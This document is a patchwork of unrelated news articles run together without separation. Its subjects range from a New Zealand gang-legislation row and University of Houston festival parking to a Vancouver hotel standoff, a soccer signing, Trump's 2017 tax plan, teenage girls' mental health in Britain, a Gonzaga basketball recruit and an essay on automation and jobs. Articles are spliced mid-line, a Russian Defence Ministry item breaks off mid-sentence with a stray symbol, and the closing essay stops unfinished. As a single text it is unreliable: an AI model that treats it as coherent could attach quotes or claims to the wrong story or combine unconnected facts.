"He needs to join the real world and do something about the harm and intimidation of gangs, rather than being an apologist. Through his actions he's endorsing the misery inflicted by drug dealers and murderers, and supporting a group that's preying on the vulnerable."
But he said he was disappointed the attacks had become personal. "He may say he is not pro-gang, but his comments will lead many to think otherwise."
Harawira said he understood why some people from lower socio-economic backgrounds joined gangs, adding that 90 per cent of those targeted by the bill would be Maori, making it a "deeply racist piece of legislation".
"The man [McClay] is so disconnected from reality that he's inflicting on one sector of society, crimes that are from right across it. Anybody who thinks gangs are the only ones involved in drugs is an absolute bloody fool. He wouldn't know a gang if it kicked him in the nuts."In less than a month, student parking lots 20A and 20C near the Campus Recreation and Wellness Center will be filled with festival goers attending this year’s Frontier Fiesta.
Typically held during the spring semester, the completely student-run event will take place Thursday, March 23 through Saturday, March 25.
To get the space fiesta-ready, students will be working in the area for nearly two weeks. To allow for a safe and seamless setup, the Frontier Fiesta planning committee requested to have parking in the area taken offline not just during the event itself, but throughout the build-out and breakdown process. The specific timeline of parking impacts, which was approved by the Transportation and Parking Advisory Committee, is outlined on this map.
The first two phases call for the total closure of lots 20A and 20C, so, to ensure their vehicles are not relocated, individuals parked in the affected surface lots should plan to have them moved by 11:59 p.m. the night before each phase begins, otherwise they will be relocated to another lot on campus. Parkets who thihnk their vehicle has been relocated should call UHDPS at 713-743-3333.
The final and shortest phase of the process will begin at 5 p.m. Thursday, March 23, when event visitors will be allowed to utilize the student sections of the East Parking Garage. During this time, students, faculty and staff with a permit for the facility will still be able to access it as usual; however, they should expect heavier than normal traffic in the area through Sunday, March 26.
All parking in the area will be reopened on Monday, March 27.
In recent years, the festival was held in and around TDECU Stadium, but the event’s planning committee made the call to relocate this year’s festivities as a result of the construction projects currently underway on that side of campus including UH Football’s indoor practice facility and the Fertitta Center.
“We worked with the Frontier Fiesta team to develop a plan that would meet their needs, while also minimizing the impacts felt by the overall campus community,” said Bob Browand, director of Parking and Transportation Services. “We appreciate everyone’s patience and understanding as we work to accommodate this time-honored UH tradition.”
To avoid delays and minimize congestion on campus this time, faculty, staff and students are encouraged to carpool, utilize alternative transportation or park in alternate campus locations like ERP to avoid delays.
Visit Frontier Fiesta for more information.CTV British Columbia
The armed gunman who caused a nine-hour standoff at the Fairmont Pacific Rim hotel Monday morning has been arrested.
Const. Brian Montague said a distraught man entered the hotel waving a handgun at 2:30 a.m. Police quickly locked down the hotel and guests were advised to stay in their rooms.
The 28-year-old Surrey man with a history of mental illness, who is known to police, was contained in a public area of the hotel as negotiators spoke with him.
Police said the man was arrested and taken to hospital with minor injuries at around 12:15 p.m. Due to his mental health history, police were concerned he may harm himself.
According to police, the man now faces possible weapons-related charges.
Hotel management confirmed to CTV News that 90 per cent of hotel guests and residents in 200 rooms were safely evacuated by noon.
In a testament to the power of social media, the hotel used Twitter to evacuate a bride who couldn’t get to her wedding because she was trapped in one of the rooms.
“There is a bride trapped inside the #PacificRim right now that needs to get to her wedding! Please help her!!!!,” @zahfparoo tweeted.
The Fairmont Pacific Rim responded, “Please let us know room number and we will ensure she is evacuated,” and the bride was safely escorted out of the hotel and to her wedding.
Montague confirmed everyone who wanted to leave the hotel was evacuated.Minnesota United announced today the signing of defender Jérôme Thiesson, pending receipt of his ITC and P-1Visa. The 29-year-old Swiss native has spent the last six seasons with FC Luzern of the Swiss Super League, scoring two goals in 222 games with 204 starts in league play. In 10 cup games with the club, he recorded one goal.
Thiesson joined FC Luzern after spending four years with AC Bellinzona, a lower division Swiss Super League club from the country’s Italian-speaking region. One of the main qualities Minnesota United prized in going after Thiesson was his ability to play either fullback position.
“It’s a position on the field where we can always have more depth and experience,” said Sporting Director Manny Lagos. “This is a player that can play both those positions very well. He's got hundreds of professional games at a high level, starting at both right and left back, which is unique for a player to be that versatile.”
Lagos also praised Thiesson’s personality and character, calling him a mature, quiet leader who could be influential on the team.
“Thiesson is a hugely experienced player with over 300 games in the Swiss League,” said Head Coach Adrian Heath. “He’s incredibly versatile with two great feet and can play left back and right back. He’s an important piece for us in an area we feel as though we’ve been a little bit short in terms of numbers.”
“I am honored to be one of the select internationals that Minnesota United FC has chosen to be part of its inaugural season,” said Thiesson. “This unique experience to start a project from the beginning is not possible in Europe and so it made my difficult decision to leave FC Luzern easier. I want to thank FC Luzern and its fans for the five and a half fantastic years and applaud the administration for supporting my wish to come to Major League Soccer.”
Minnesota United makes its home MLS debut on March 12 at TCF Bank Stadium against fellow expansion side Atlanta United. Fans who want to be there for every home match can join the Itasca Society. Over 10,000 season tickets have already been sold, rapidly approaching the inaugural season limit of 11,842 members in this exclusive club — one for every lake in Minnesota. A portion of all proceeds from these season tickets are donated to the Minnesota Department of Natural Resources’ Loon Monitoring program. Both season tickets and single match tickets are available now at MNUFC.COM or by calling 763.4SOCCER.
TRANSACTION: Minnesota United FC sign defender Jérôme Thiesson, pending receipt of his ITC and P-1Visa, on Feb. 21, 2017.
Name: Jérôme Thiesson
Position: Fullback
Height: 5-9
Weight: 159
Hometown: Zurich, Switzerland
Date of Birth: August 6, 1987
Nationality: Swiss
Last Club: FC LuzernRussia claims ISIS took advantage of the US exclusion/occupation zone in southern Syria in staging its recent counter-offensive
The US support for terrorists is the main obstacle for routing the Islamic State terrorist grouping (outlawed in Russia) in Syria, Russian Defense Ministry spokesman Major-General Igor Konashenkov said on Wednesday.
"US colleagues’ support for terrorists and pandering to them rather than terrorists’ combat efficiency is the main obstacle for completing the rout of the ISIL [the former name of the Islamic State]," the general said.
Russia’s Aerospace Force is ready to totally halt any actions of the Islamic State terrorist group in Syria passed off by the United States as ‘coincidences’, he went on.
The general told reporters about several offensives against Syrian government troops launched from the 50-kilometer area around the locality of |
Grosse Pointe Woods Mayor Robert Novitke said the new requirement was presented to city officials during a recent committee session and it seems reasonable. It also won’t result in an extra charge to taxpayers, he said.
“It sounds to me that it’s not much different than what is expected to be done,” he said. “I guess we could require everybody to show the park pass and a license. It just seem so much easier to just show your park pass.”
David Tumpkin, who recently relocated to the city from Southfield, said he’s not bothered by the policy and is eager to obtain his pass and visit the park.
“They are trying to keep the riff-raff out,” said Tumpkin, 50. “I am fine with that.”
Recreation Supervisor Nicole Gerhart said the new process will have residents turning in applications online or at the community center drop box so that the passes will be ready for pick up when they come in for photos. New photos will be needed only every three to five years, she said.
Gerhart confirmed there’s been some concern over individuals handing off their park passes to non-residents but declined to detail how prevalent the issue has been or discuss it further, saying only “some major incidents in the park have been from non-residents using resident park passes.”
Novitke said if residents have objections to the new park policy the city will evaluate them but he doesn’t view the move as “something controversial.”
“I don’t see it being something invasive,” he said. “To me, it makes sense.”
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Read or Share this story: http://detne.ws/2DOd5FEPlan would slash taxes for small and big businesses, including Trump’s, eliminate inheritance taxes, and would be largest overhaul since Reagan era
The Trump administration unveiled what it called the biggest tax cuts “in history” on Wednesday, in a move that will simplify the US tax system, slash taxes for businesses large and small – including Trump’s own – eliminate inheritance taxes and set the president on a collision course with Congress over the likely $2tn-plus cost of the proposal.
Critics immediately called it “basically a huge tax cut for the rich”.
Trump to unveil proposal for slashing corporate tax rate to 15% Read more
The plan would cut the US’s individual income tax brackets from seven to three (10%, 25% and 35%) and slash US corporate tax rates from 35% to 15%. “We have a once-in-a-generation opportunity to do something really big,” said Gary Cohn, chief economic adviser to Donald Trump. “This is about growing the economy, creating jobs.”
Cohn and Steven Mnuchin, the treasury secretary, were short on details of the plan that, if passed, would be the largest overhaul of the US tax system since the Reagan era. “We are moving as quickly as we can,” said Mnuchin.
The announcement comes amid a continuing row over Trump’s own taxes, with members of his own party asking for him to release his returns before pressing ahead with tax reforms. Trump has long claimed he might release these documents at the end of what he says is a long-running audit, but Mnuchin said on Wednesday that the president “has no intention” of releasing his tax returns to the public.
As well as slashing costs for his own businesses, the new proposals will also cut the alternative minimum tax (AMT), a tax designed to stop the super-wealthy from taking so many tax deductions that they avoid paying anything. Leaked documents have shown that in 2005 Trump paid $31m in tax thanks to the AMT.
Mnuchin and Cohn were pressed on how Trump would benefit from the proposals, but they avoided the questions. “What this is about is creating job and economic growth,” Mnuchin said. He described the proposals as “the biggest tax cut and the largest tax reform in the history of our country”.
The president will not be the only Trump administration official to benefit from the tax cuts. His cabinet is the richest in history and includes several billionaires.
The proposal also gets rid of almost all tax deductions, including those for state and local taxes. This creates a significant increase in tax for residents of high-tax states such as California and New York. It does leave in place existing tax dedications for charitable donations and home mortgage payments.
Mnuchin refused to commit as to whether the tax cuts would end up being revenue neutral, saying the administration was “working on a lot of details”. However, he said he felt confident that the tax cuts would “pay for [themselves] through growth, reduction of deductions, and closing loopholes”. The treasury secretary did insist, though, that “the deficit is a problem and the president is concerned about that”.
Trump has long heralded tax cuts, particularly on corporations, as a major component of his economic plan. In his joint address to Congress in February, the president previewed his proposals, saying: “My economic team is developing historic tax reform that will reduce the tax rate on our companies so they can compete and thrive anywhere and with anyone.” He added: “It will be a big, big cut.”
But on the campaign trail, he also consistently pledged to cut the US’s $19tn deficit “big-league” and “very quickly”. A 20-percentage-point cut to corporate tax rates alone would add $2.4tn to the national debt, according to the nonpartisan pressure group Americans for Tax Fairness. Frank Clemente, executive director, called the proposal a “reckless” plan “for massive tax giveaways to corporations, the wealthy, and his own family” in return for adding trillions of dollars to the national debt.
“So, how would Trump’s White House make up the shortfall? By drastic cuts to essential services and lowering the standard of living for regular American families. Unacceptable,” said Clemente. “The White House line that ‘tax cuts will pay for themselves’ is a lie that has been debunked repeatedly, including by the conservative Tax Foundation. We will fight this tax plan tooth and nail, and we’ll be joined by Americans of all political stripes in doing so.”
Trump tax returns: president had to pay millions due to tax law he aims to scrap Read more
The plan faces significant obstacles because of the need for Democratic support, and “reconciliation” rules that place strict limits on any tax cuts that result in increases to the deficit.
The Senate majority leader, Mitch McConnell, indicated on Tuesday that Republicans would have to use the reconciliation process, which requires tax cuts to be balanced out with spending cuts. “I think it’s pretty clear we’re going to have to use a reconciliation vehicle because today’s Democratic party is very different from the Democratic party in the 80s,” McConnell said.
In a joint statement with McConnell, fellow Republicans including the House speaker, Paul Ryan, the House ways and means chair, Kevin Brady and the Senate finance chair, Orrin Hatch, gave cautious praise to the administration’s proposals. “The principles outlined by the Trump administration today will serve as critical guideposts for Congress and the administration as we work together to overhaul the American tax system and ensure middle-class families and job creators are better positioned for the 21st-century economy.”
The Republican congressman Tom Cole, from Oklahoma, said he envisioned a “very complex” path forward on tax reform.
One notable tax missing from Wednesday’s briefing was the “border adjustability tax”, a proposal to tax goods imported into and sold in the United States championed by Ryan.
The tax, backed by House Republicans, was supposed to serve as a means to offset any loss in revenue from corporate tax cuts but ran into opposition from major corporate interests, including retailers and automobile manufacturers.
Trump reportedly abandoned his support for the border adjustment tax, although Mnuchin did not definitely rule it out.
“I don’t think it’s dead,” Cole said of the border adjustment tax. “I’m very worried about blowing a huge hole in the deficit.”
The tax policy was panned by deficit hawks. The Committee for a Responsible Federal Budget (CRFB) estimated it would cost between $3-$7tn, using a baseline estimate of roughly $5.5tn because of its vagueness.
In its analysis, the Trump proposals would “increase debt to 111 percent of Gross Domestic Product (compared to 89 percent of GDP in CBO’s baseline) by 2027. That would be higher than any time in US history, and no achievable amount of economic growth could finance it.”
In a scathing statement, the group’s president, Maya McGuineas, said: “It seems the administration is using economic growth like magic beans – the cheap solution to all our problems. But there is no golden goose at the top of the tax cut beanstalk, just mountains of debt.”
However, David McIntosh, the president of the influential conservative group Club for Growth, praised the plan as “massively pro-growth”. He added: “This is the tax plan that the American people supported when they elected President Trump, so House Republicans would do well to give it their full support.”
Democrats condemned the proposals. Senator Bob Casey of Pennsylvania, who is facing re-election in 2018 in a state that Trump won, said in a statement: “This scheme is a massive tax giveaway to millionaires, billionaires and big corporations at the expense of middle-class families in Pennsylvania.
Dick Durbin of Illinois, the No 2 Democrat in the Senate, said in a statement: “President Trump should release his own tax returns if he wants to have any credibility in a debate about America’s tax code.”
The plans have split experts. Hunter Blair, budget analyst at the left-leaning Economic Policy Institute, said the proposals were “basically a huge tax cut for the rich”.
“According to the treasury, 43% of corporate tax is paid for by the top 1%. We have tried this supply-side economics before; trickle down just doesn’t work,” he said.
Chris Edwards, director of tax policy studies at the libertarian Cato Institute, said cuts in corporate tax rates in the UK and Canada had not led to lost revenues. “There is a huge amount of [tax] avoidance right now and a huge effort to park overseas. That money would come back if rates fell,” he said.Today's teenagers are struggling to cope with the expectations imposed by media images and peer pressure, the reality of low-paid work and a sexist culture
Abbi Marper is too shy to speak above a whisper, but she wants to be a policewoman or a nurse. Her friend Becky Billing is studying to be a plumber. Charlotte Wilson, the most chatty of the group, is having a problem narrowing her options. "I want to be a firefighter, but I also want to be a paramedic and a midwife," she says. "The trouble is, there's just too much choice."
Slumped in the plastic chairs of a Sheffield community centre, shovelling fistfuls of free sweets from the coffee bar into their mouths, the group of girls are all members of Aim High, a dance troupe set up by Becky Billing and Charlotte Wilson's sister, 17-year-old Lauren, two years ago after they got in trouble with the police.
"Lauren and I got into a car with some blokes one night and ended up getting home really late, so we told our parents we'd been snatched off the street by strangers," Becky Billing half giggles, but flicks her hair over her face and refuses to look up. Before the girls knew it, their parents had called the police and a kidnap investigation had been set up.
When the shamefaced teenagers owned up, they were cautioned with wasting police time and asked why they had done it. "It was because we were bored," says Becky Billing, who is 17. "There's nothing for us to do outside of school. My mum had youth clubs, sports stuff and drama when she was young, but we've got nothing."
With the support of the police, the Commission for Youth Enterprise and a few local groups, Aim High grew quickly from six dancers to 55. It now holds two classes a week, for young people aged eight to 18, and recently performed to Sheffield's mayor in the town hall.
"It's completely changed me," says Lauren Wilson. "I'm not an idiot any more, for a start. I've got plans and stuff I want to do with my life."
The assumption nowadays is that girls' lives have dramatically improved in recent decades. After all, compared with previous generations they have undreamt-of opportunities in terms of freedom and educational achievement.
How, then, to explain recent studies that have caused a groundswell of concern among experts? For, far from seeing the world as their oyster, it is becoming increasingly clear that teenage girls are a stand-alone demographic in crisis – a group about which much is assumed but little is known.
The first study that caused experts to question the quality of girls' lives was published late last year: a highly credible look at the mental health of teenage girls in Scotland.
Helen Sweeting's 19-year-long study, published in the journal of Social Psychiatry and Psychiatric Epidemiology, concluded – to the surprise of academics, experts and politicians alike – that young girls were deeply depressed.
Sweeting's research, although geographically limited, was substantial. Three times – in 1987, 1999 and 2006 – she had returned to the same part of Scotland to question up to 3,000 teenagers about their mental state.
Over the two decades, Sweeting found that, while the 15-year-old boys she spoke to had experienced a small increase in psychological distress, the number of girls of the same age reporting mental issues from mild anxiety to more serious symptoms had jumped sharply.
The 1999 results were alarming enough: the incidence of common mental disorders including anxiety, depression and panic attacks among girls had increased from 19% to 32% (the increase for boys was just 2% to 15%).
But the 2006 study revealed an even greater leap. Girls across all social strata were now reporting mental disorders at a rate of 44%. Over a third admitted "they felt constantly under strain". Those who "felt they could not overcome their difficulties" had more than doubled to 26%. The number who said they "thought of themselves as worthless" had trebled between 1987 and 2006 from 5% to 16%.
When Sweeting published her findings, some questioned whether her teenagers were an anomalous group, their mental states a sad but unrepresentative snapshot of a specific community. But a number of other studies, both in the UK and elsewhere, have come to similar conclusions. Last week government research into 42,073 children between the ages of 10 and 15 concluded that teenage girls were a vulnerable demographic, urgently in need of help.
Dr Alison Tedstone, who led the research, said the choices being made by teenage girls regarding diet, lifestyle and other health-related issues were so consistently damaging that they had become "a standalone group of the population" requiring immediate intervention.
Brought up on the tough, Lowedges housing estate on the south side of Sheffield, Becky Billing and Charlotte Wilson can talk endlessly about the alcohol-fuelled adventures they have had over the years, the fights they have started, the brushes with the police and the friends who have become pregnant.
"All the girls I knew at primary school were really nice and normal, then we go to secondary school and they all went a bit mad," says Charlotte Wilson, 15. "From 12 or 13 years old, most of the girls I know just talk about sex, alcohol, sex, drugs and sex again. It's like it's this big competition and it gets everyone pretty stressed."
Her experiences echo a vast study of the well-being of youngsters across 30 industrialised nations. The recent Organisation for Economic Co-operation and Development report ranked Britain's teenage girls as among the worst off for health, lifestyles and school standards relative to public spending levels.
The report found that "risky behaviour" among girls – described as a combination of drinking, smoking and teenage pregnancy – was more acute in Britain than in any of the other nations apart from Turkey and Mexico.
Teenage pregnancy is far higher in the UK than the average across the OECD's survey. The UK has the fourth highest teenage pregnancy rate after Mexico, Turkey and the United States. In Britain, more than 23 teenage girls per 1,000 gave birth in 2005.
So what's going on? Experts have said it is highly significant that this slew of research has coincided with two fundamental social upheavals: the period in which girls began to outperform boys academically, and the obsession with celebrity culture and the pressure on younger and younger girls to become sexualised.
It is hard for those brought up in the 1980s to understand the world in which young girls are now having to develop their sexual and social identities. The worst that young women of the previous generation had to contend with was a stolid, lingering patriarchy, a sniggering, Benny Hill-style of humour that was obviously already on its last legs, and Page 3 girls; a lewdness that today seems more quaint than offensive.
The sexual politics girls find themselves confronting today couldn't be more different. The sex industry has moved from the margin to the mainstream. Girls are besieged by images that glorify a pornographic view of women. There is a lap-dancing club in every town centre, six-year-old girls are bought fashion accessories adorned with the Playboy logo, Shakira writhes on all fours in a cage on MTV.
Last Thursday David Cameron said children – and young girls, in particular – were having their childhood stolen by a "growing, unnecessary and inappropriate commercialisation and sexualisation that is beginning far too young".
The Tory leader has threatened to ban advertisers who improperly target young children from bidding for government contracts for three years under a Conservative administration.
But according to Natasha Walter, author of the new book Living Dolls, The Return of Sexism, the sexualisation of the young has already wrought irreparable damage on a generation of young girls. In her previous book, The New Feminism, Walter claimed that feminism was fast becoming "part of the very air we breathe". Now, however, Walter admits that she was wrong. She failed, she says, to predict how powerful, how pervasive and how sly the backlash would be.
The air she imagined carrying the perfume of liberal ideals into homes, schools and workplaces has instead, she says, turned toxic. "Feminism's own language of empowerment has been turned against it," she writes. "The language of empowerment has been harnessed to confuse sexual liberation with sexual objectification. The impact has been insidious and profound."
Girls today are growing up in an atmosphere of unapologetic crudity. Stripping is widely cited as a method of empowerment. A student claiming to be from either Oxford or Cambridge University published her online sex diaries last week, claiming to be, "unapologetically and unquestionably, a closet nympho". Walter calls it the "era of New Promiscuity", where emotion-free sex is both expected and celebrated. We are, she writes, living in a culture defined by pornographic sensibilities, where young women are willing participants in online "games" like Assess My Breasts.
Last month a survey of teenage girls found that more than half would consider being "glamour" models – posing almost naked for men's magazines – and a third saw Jordan as a role model.
It is no coincidence, Walter suggests, that anorexia nervosa, the disorder of pathological self-starvation, is on the rise, with an 80% increase in hospital admissions among teenage girls over the last decade.
Susie Orbach, author of the seminal Fat is a Feminist Issue and, more recently, Bodies, about the western obsession with physical perfection, says things started to get worse for teenage girls about 15 years ago but that the problems had accelerated recently, particularly with regard to body issues.
"What we think of as 'normal' now in the way girls relate to their bodies would have been considered serious cause for concern 20 years ago," she said. "It's to do with the aspects of celebrity culture that are proffered to them – the post-Thatcherite notions of success and money as a fast track to happiness; the rapid growth of the beauty and style industries, which prey on teenage girls; the hypersexualisation of the culture; and the ambitions of the parents, who want their daughters to feel the world is their oyster."
The impact on girls struggling to comprehend both themselves and the world around them is not hard to predict. Who, after all, wouldn't feel confused and unhappy being raised in this brave new world that demands super-skinny, super-sexy and super-brainy all at the same time?
Eleanor Martin, a 17-year-old from Hampstead in north London talks of how her string of A and A* GCSE results didn't seem enough for her parents. "They just seemed to take my exam success for granted," she said. "It was like, 'Well, you're a girl, of course you're going to do well.' I feel like I have to do more than do well at school and be a nice person to please them, but I'm not sure what else I can do. I sometimes think it might be a good idea to go off the rails for a bit, just so they do appreciate me."
This hothouse of expectation has created what the American psychologist Jean Twenge describes as a "narcissism epidemic" which is, she believes, disproportionately affecting women. Twenge analysed data on 37,000 American teenagers gathered over almost 60 years. She found that, while in the 1950s only 12% of the youngsters agreed that "I am an important person", by the late 1980s it was 80%. In 1967 only 45% of students agreed that "being well-off is an important life goal". By 2004 the figure was 74%.
In recent years the growth has accelerated. In 1982, Twenge found, just 15% got high scores on a narcissism personality index. By 2006 it was 25%, an increase largely down to the results of the teenage girls who took part.
"The narcissist has huge expectations of themselves and their lives," said Twenge. "Typically, they make predictions about what they can achieve that are unrealistic, for example in terms of academic grades and employment. They seek fame and status, and the achievement of the latter leads to materialism – money enables the brand labels and lavish lifestyle that are status symbols."
It is, in short, the Paris Hilton syndrome spread across millions of lives. Most of all, of course, it affects teenage girls, such as Isabella Grant, a 14-year-old from Edinburgh. "I want to be a famous catwalk model, and I don't see why that's unrealistic," said the slim, blonde teenager. "Everyone tells me I'm really pretty and that, if I work hard enough, I can achieve whatever I want. I've got an agent already and have already had a few jobs. I am completely determined. Naomi Campbell has already given up the catwalk. They need new girls, and I'm going to be the best."
The narcissism of young women could just be a phase they will grow out of, admitted Twenge, but she is concerned that the evidence of narcissism is present throughout highly consumerist, individualistic societies – and women suffer disproportionately from the depression and anxiety linked to it.
Back in the Sheffield community centre, Becky Billing admits finding the competitive pressure of her female peers so noxious that she has chosen to opt out entirely. "I trust my mum and my sister, but apart from them all my best friends are boys," she admits. "I mean, I'm glad I'm a girl and everything, but I wouldn't want one as my best friend. They're all messed up and I just prefer not to be around that."
Might such overwhelming pressure to do better, look better and have more explain the recent reports of sharp rises in aggression among girls? While young women aged 16 to 24 still have the highest risk of becoming victims of aggressive crime in this country, recent studies have shown a significant rise in the numbers of girls turning to violence themselves.
Youth Justice Board figures for last year show that, while overall crime rates are falling, there is a 50% rise in violent crime committed by young women, with girls now responsible for around 21% of offences that reach the courts.
But the changing attitude of girls to violence appears to be having even more worrying knock-on effects. According to a UK-wide survey of 14- to 21-year-olds by Engender, the women's rights group, one in three girls (and one in two boys) think there are circumstances in which it could be acceptable to hit a woman or force her to have sex.
Even Abbi Marper, at age 11, happily admits to being as physically aggressive as the boys in her group. "You have to stand up for each other," she says, her voice rising above a whisper for the first time. "And you have to stand up for yourself. You have to show you're strong."
Charlotte Wilson, too, is keen to dispel any notion that, as a girl, she might hold back from physical violence. "Of course I've been in fights," she laughs. She pauses and looks over at her mother, Tracey, sitting alert but calm on the opposite side of the table. "Remember when I got arrested that time, mum?" she asked. "It was when I had the fight with that old woman. She must have been about 45. She told the police I had tied her to a fence with handcuffs and hit her with knuckledusters. They let me go with a caution after a few hours because that woman had made it all up. All I'd done was shove her about a bit and she'd done the same to me."
April Foulds left school a year ago at 16 with a single exam success, a basic level NVQ in childcare. Two years too young to earn money through real work or benefits, April is a NEET: a growing population group defined by not being in education, employment or training. "What am I going to do with my life?" she repeats, sulkily. "Dunno. Maybe I'll get pregnant and get loads of money off the government." Her friends squawk in protest. "Only joking," she adds, vaguely.
For all their brash, surface confidence, Charlotte Wilson, April Foulds, Abbi Marper and Becky Billing don't seem to feel liberated or empowered. Instead, as they gain confidence and open up, they inadvertently reveal low expectations and poor self-esteem.
The message is that for modern teenage girls the encouragement to do better, look better and have more has become almost unbearable. They need help and they need it urgently – not only for themselves but for the next generation, whose mothers they will be.Luck isn't always guaranteed when you make a trip to Las Vegas. However, the Gonzaga staff must be feeling like it has a Royal Flush, soon after winning the WCC Tournament, they received the news that Top 2016 big man, Zach Collins, was ready to make his commitment to Gonzaga.
Following his visit to Spokane, it took Zach a little while to realize where he wanted to attend school.
"His mom and I were a bit frustrated, because we hoped he knew where he was going, because we knew where we thought would be a good fit," Mike Collins said with a laugh. "There was a day last week where I was talking to Coach Few, just updating him on everything, and at the end of the call he said that he was going to call Zach. After that phone call, I think things changed a bit for Zach, and that level of trust that was already fairly strong, was cemented. He wasn't promising anything, that's not how Coach Few is, but he let Zach know that he wasn't going into a situation that he was currently in high school. I think he always knew how good the fit was and would be, but his conversation with Coach Few was the final brick that led to the decision."
As we have chronicled, Collins has long been a priority for the coaching staff, so it shouldn't be a surprise that they were excited when the news finally came through.
"Zach gave Coach Few a call when the team was on the bus after the championship game," recalled Mike. "Zach was on speaker phone and Coach Few told Zach that he made a great night even better. He was ecstatic and promised Zach that he would do right by him."
Ultimately, there were two big factors that led to the choice being Gonzaga.
"Number one was the way they play," Mike explained. "That's exactly how Zach wants to play. They play high intensity basketball that is all about the team. When you look at the players, they are so highly-skilled, but everything they do is so team-oriented, which is really hard to find."
"Number two is probably the relationship side of things. At some level you have to trust what you are hearing, and that level of trust probably put Gonzaga over the top. Gonzaga has been recruiting Zach for more than a year. When you talk to coaches almost every single day, the trust is built on a solid foundation. And it's not to say that Zach didn't trust other coaching staffs. I think his relationship with other coaches was very good. It just wasn't the same. A lot of schools admittedly said they don't have anybody like Zach, but the question in my mind was always, are you going to change your system and the way you play just for Zach? In the end, it was what Zach was comfortable with. He could picture himself on the floor for the Gonzaga."On the left, there are two prominent worries about American jobs. One is that new jobs are terrible: Low-level service and retail positions, or “McJobs,” are replacing the middle-class occupations of the past. The second is that there soon won’t be any jobs at all: Robots, artificial intelligence, and similar technologies will produce so much labor displacement that even crummy jobs won’t be available.
That’s pretty depressing if these two (somewhat contradictory) views are accurate. Fortunately, neither one is. Start with the idea that jobs will disappear. This is, to say the least, highly unlikely. Concerns about the disappearance of jobs have recurred again and again as technology has advanced, and they’ve always been wrong. The general pattern is that technological transformations put workers out of jobs in one sector only to have more jobs created in others as demand for new products and services grow. Thus, technology advances but the availability of jobs does not decline.
Take the 1950s, when postwar concerns about automation and technological control (the so-called cybernetic revolution) were peaking. The Nation magazine remarked in 1958: “The problem we shall have to face some time is that the working force is expansive, while latter-day industrial technology is contractive of man-hours.” Sound familiar? Somehow we’ve soldiered on without mass unemployment even as the labor force has expanded from 68 million then to 160 million now.
But perhaps today is different? This technology — robots, artificial intelligence, the computerization of everything — is so powerful that it will hoover up most of the jobs and leave very few for actual humans to do. The futurist Martin Ford, in his best-selling 2015 book, Rise of the Robots: Technology and the Threat of a Jobless Future, predicted half of US workers would be replaced by robots in the next 20 years. In an influential article for Mother Jones magazine, with the striking title “Welcome Robot Overlords: Please Don’t Fire Us?”, the blogger Kevin Drum argued that robots’ capabilities are growing so fast that there will not be much need for human workers by, say, 2040, and the inevitable result will be mass unemployment and social dysfunction.
If the robots were coming, we’d see accelerating productivity. We don’t.
But what is the evidence that technologically driven labor displacement is taking place at a particularly fast — much less accelerating — rate? To put it bluntly: There isn’t any. If Ford’s “rise of the robots” were taking place, we would be seeing very rapid productivity increases today (fewer workers, larger output). We’re not. Instead, productivity increases have been abominably slow in recent years — a mere 1.3 percent per year, just over a third of the rate at the end of the last century.
Another indicator that the robots are gaining on us would be an exceptionally high rate of “occupational churn,” the rate at which the job structure is changing as some occupations decline and others grow. In a study of Census data going back to 1850, economists Robert Atkinson and John Wu found instead that the rate of churn in recent decades has been exceptionally slow — slower, in fact, than at any other period in their study. Indeed, the rate of occupational churn in the new century has been less than a third of that in the dynamic 1950 to 1980 period.
These results are completely inconsistent with the “jobless future” hypothesis. We are in no danger of having humans crowded out by incredibly productive robots. If anything, given the anemic productivity growth, we should worry that robots and related technologies are being underused, thereby holding back the advance of new economic sectors.
OK, the jobs pessimist might reply, maybe there will be jobs in the future but they’ll be jobs barely worth having. After all, isn’t that how American jobs have been trending for 50 years?
The pessimist has it right that past trends may continue, but the pessimist is wrong about what those past trends have been. Since “blue collar” and “white collar” have become hopelessly muddled terms, the best way to look at changes in the job structure over time is to sort workers by skill levels and work performed.
In The Economy Goes to College, by economists Anthony Carnevale and Stephen Rose, the authors sort workers into three occupation tiers: managerial-professional, middle-skill, and low-skill. In this categorization, mid-skill jobs include not only mid-level supervisors, skilled craftspeople and clericals but also service occupations such as medical assistants and police; the low-skill category includes not just factory workers but also retail sales clerks and service workers including security guards, janitors, and waitresses.
As a proportion of total employment, low-skill jobs have dropped by 10 percentage points since 1967
Back in 1967, just 21 percent of jobs were managerial-professional, the authors found, while 39 percent were low-skill and about the same proportion were mid skill. Today, 35 percent of jobs are managerial-professional, 36 percent are middle-skill and only 29 percent are low-skill. Thus, managerial-professional positions are up 14 percentage points as a share of jobs since 1967; low-skill jobs have actually dropped by 10 percentage points
In a related analysis, Carnevale and Rose classify all workers by the content of the work they perform. This breakdown produces a division of the workforce into five basic categories: office work (across all industries); high-skill services (non-office work in health care, education, and communications); low-skill services (retail, personal, and food services); manual labor in industry (manufacturing, construction, etc.); and primary production (mining, farming, fishing). They found that 44 percent of US jobs today are in offices, with another 20 percent in high-skill services. Just 15 percent of jobs are manual labor in industry, another 19 percent in low-skill services.
Since 1967, the big change has been the rise in office work and high-skill services (up 14 points), while the big decline has been in industrial manual labor, down 13 points. Interestingly, and very importantly, the share of low-skill service jobs is just about the same today as it was back in 1967. (Fast food jobs — the quintessential low-skill gig — are stuck at around 2.3 percent of US jobs, with no sign that that share is going up since the turn of the century.)
Statistics like those put paid to the notion that middle-class jobs are disappearing and being replaced by “McJobs.” This view equates the decline of low-skill, relatively well-paid jobs like those in manufacturing — which, indeed, has been going on since 1948 — to an overall decline in middle-class jobs, which is not merited.
The middle-class jobs of today are in the growth areas of offices and high skill services. These two areas of the economy now provide 64 percent of all jobs. And they’ve expanded more as a share of jobs since 1967 than manufacturing and related jobs have declined. Middle-class jobs are not disappearing; rather, they have moved to different sectors that require higher levels of education and cognitive training.
Of course, that middle-class jobs are not disappearing does not mean inequality is not rising. It is. That trend is a product of many forces, including a lack of support for low-income workers, stagnating wages, and the skew of economic rewards toward the rich. The availability of new middle-class jobs in offices and high-skill services is not sufficient, by itself, to counteract these powerful forces. But that is not fault of these jobs. In part, it has to do with unwise policy choices.
We should expect current trends in the job structure to continue. The jobs of the future will likely require more skill, not less skill, than those of today. Take one of the chief obsessions of today: the projected rise of self-driving cars and the presumed decline of driver jobs. As experts convened by the National Academy of Sciences note in a recent report, Information Technology and the US Workforce: Where Are We and Where Do We Go from Here, the story is a lot more complicated than drivers losing their jobs to autonomous Ubers. The report notes that “there will be a long period of mixed-use road use, with both autonomous driving and manual driving cars sharing the roads.” It continues:
